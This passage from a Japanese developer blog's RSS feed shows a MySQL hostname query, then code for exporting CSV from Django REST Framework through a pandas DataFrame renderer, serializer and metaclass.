&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mysql&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;show&lt;/span&gt; variables &lt;span style="color:#66d9ef"&gt;like&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;hostname&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#75715e"&gt;---------------+---------------+
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; Variable_name &lt;span style="color:#f92672"&gt;|&lt;/span&gt; Value &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#75715e"&gt;---------------+---------------+
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; hostname &lt;span style="color:#f92672"&gt;|&lt;/span&gt; ip&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;172&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;23&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#75715e"&gt;---------------+---------------+
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;row&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;set&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt; sec)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>DRF: DataFrame を使って CSV エクスポート</title><link>https://hdknr.github.io/blogs/posts/2023/08/drf-dataframe-%E3%82%92%E4%BD%BF%E3%81%A3%E3%81%A6-csv-%E3%82%A8%E3%82%AF%E3%82%B9%E3%83%9D%E3%83%BC%E3%83%88/</link><pubDate>Tue, 22 Aug 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/08/drf-dataframe-%E3%82%92%E4%BD%BF%E3%81%A3%E3%81%A6-csv-%E3%82%A8%E3%82%AF%E3%82%B9%E3%83%9D%E3%83%BC%E3%83%88/</guid><description>&lt;h1 id="drf-dataframe-を使って-csv-エクスポート"&gt;DRF: DataFrame を使って CSV エクスポート&lt;/h1&gt;
&lt;h2 id="csv-レンダラー"&gt;CSV レンダラー&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;dataframe_to_csv_stream&lt;/span&gt;(df, encoding&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; buffer &lt;span style="color:#f92672"&gt;=&lt;/span&gt; BytesIO()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; df&lt;span style="color:#f92672"&gt;.&lt;/span&gt;to_csv(buffer, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; buffer&lt;span style="color:#f92672"&gt;.&lt;/span&gt;seek(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; encoding:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; BytesIO(buffer&lt;span style="color:#f92672"&gt;.&lt;/span&gt;read()&lt;span style="color:#f92672"&gt;.&lt;/span&gt;decode(&lt;span style="color:#e6db74"&gt;&amp;#34;utf8&amp;#34;&lt;/span&gt;)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;encode(encoding))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; buffer
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;DataFrameCSVRenderer&lt;/span&gt;(BaseRenderer):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; media_type &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;text/csv&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; format &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;csv&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;render&lt;/span&gt;(self, data, media_type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;, renderer_context&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;, writer_opts&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; renderer_context &lt;span style="color:#f92672"&gt;=&lt;/span&gt; renderer_context &lt;span style="color:#f92672"&gt;or&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;not&lt;/span&gt; isinstance(data, pd&lt;span style="color:#f92672"&gt;.&lt;/span&gt;DataFrame):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; data &lt;span style="color:#f92672"&gt;=&lt;/span&gt; pd&lt;span style="color:#f92672"&gt;.&lt;/span&gt;DataFrame(data)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; stream &lt;span style="color:#f92672"&gt;=&lt;/span&gt; dataframe_to_csv_stream(data, index&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;False&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; stream&lt;span style="color:#f92672"&gt;.&lt;/span&gt;read()&lt;span style="color:#f92672"&gt;.&lt;/span&gt;decode(&lt;span style="color:#e6db74"&gt;&amp;#34;utf-8-sig&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="dataframe-を返すリストシリアライザ"&gt;DataFrame を返すリストシリアライザ&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;DataFrameSerializer&lt;/span&gt;(serializers&lt;span style="color:#f92672"&gt;.&lt;/span&gt;ListSerializer):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;@property&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;(self):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ret &lt;span style="color:#f92672"&gt;=&lt;/span&gt; super()&lt;span style="color:#f92672"&gt;.&lt;/span&gt;data
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ser &lt;span style="color:#f92672"&gt;=&lt;/span&gt; ret&lt;span style="color:#f92672"&gt;.&lt;/span&gt;serializer&lt;span style="color:#f92672"&gt;.&lt;/span&gt;child
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; columns &lt;span style="color:#f92672"&gt;=&lt;/span&gt; dict((name, field&lt;span style="color:#f92672"&gt;.&lt;/span&gt;label) &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; name, field &lt;span style="color:#f92672"&gt;in&lt;/span&gt; ser&lt;span style="color:#f92672"&gt;.&lt;/span&gt;fields&lt;span style="color:#f92672"&gt;.&lt;/span&gt;items())
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; pd&lt;span style="color:#f92672"&gt;.&lt;/span&gt;DataFrame(ret)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;rename(columns&lt;span style="color:#f92672"&gt;=&lt;/span&gt;columns)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="エクスポートするシリアライザを生成するメタクラス"&gt;エクスポートするシリアライザを生成するメタクラス&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;25
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ExpporSerializerMetaclass&lt;/span&gt;(serializers&lt;span style="color:#f92672"&gt;.&lt;/span&gt;SerializerMetaclass):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; EXPORT_META &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; FIELD_CLASS_DEFAULTS &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;@classmethod&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;create_fields&lt;/span&gt;(cls):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;_create_field&lt;/span&gt;(item):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; label, name, klass &lt;span style="color:#f92672"&gt;=&lt;/span&gt; item
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; defaults &lt;span style="color:#f92672"&gt;=&lt;/span&gt; cls&lt;span style="color:#f92672"&gt;.&lt;/span&gt;FIELD_CLASS_DEFAULTS[klass]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; (name, getattr(serializers, klass)(label&lt;span style="color:#f92672"&gt;=&lt;/span&gt;label, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;defaults))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; dict(map(_create_field, cls&lt;span style="color:#f92672"&gt;.&lt;/span&gt;EXPORT_META))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;@classmethod&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;annotate&lt;/span&gt;(cls, queryset):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;raise&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;NotImplementedError&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;__new__&lt;/span&gt;(cls, name, bases, attrs, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; attrs[&lt;span style="color:#e6db74"&gt;&amp;#34;Meta&amp;#34;&lt;/span&gt;]&lt;span style="color:#f92672"&gt;.&lt;/span&gt;fields &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [i[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;] &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i &lt;span style="color:#f92672"&gt;in&lt;/span&gt; cls&lt;span style="color:#f92672"&gt;.&lt;/span&gt;EXPORT_META] &lt;span style="color:#75715e"&gt;# CSVで返答するカラム&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; attrs[&lt;span style="color:#e6db74"&gt;&amp;#34;Meta&amp;#34;&lt;/span&gt;]&lt;span style="color:#f92672"&gt;.&lt;/span&gt;list_serializer_class &lt;span style="color:#f92672"&gt;=&lt;/span&gt; DataFrameSerializer &lt;span style="color:#75715e"&gt;# リストシリアライザ&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; attrs&lt;span style="color:#f92672"&gt;.&lt;/span&gt;update(&lt;span style="color:#f92672"&gt;**&lt;/span&gt;cls&lt;span style="color:#f92672"&gt;.&lt;/span&gt;create_fields())
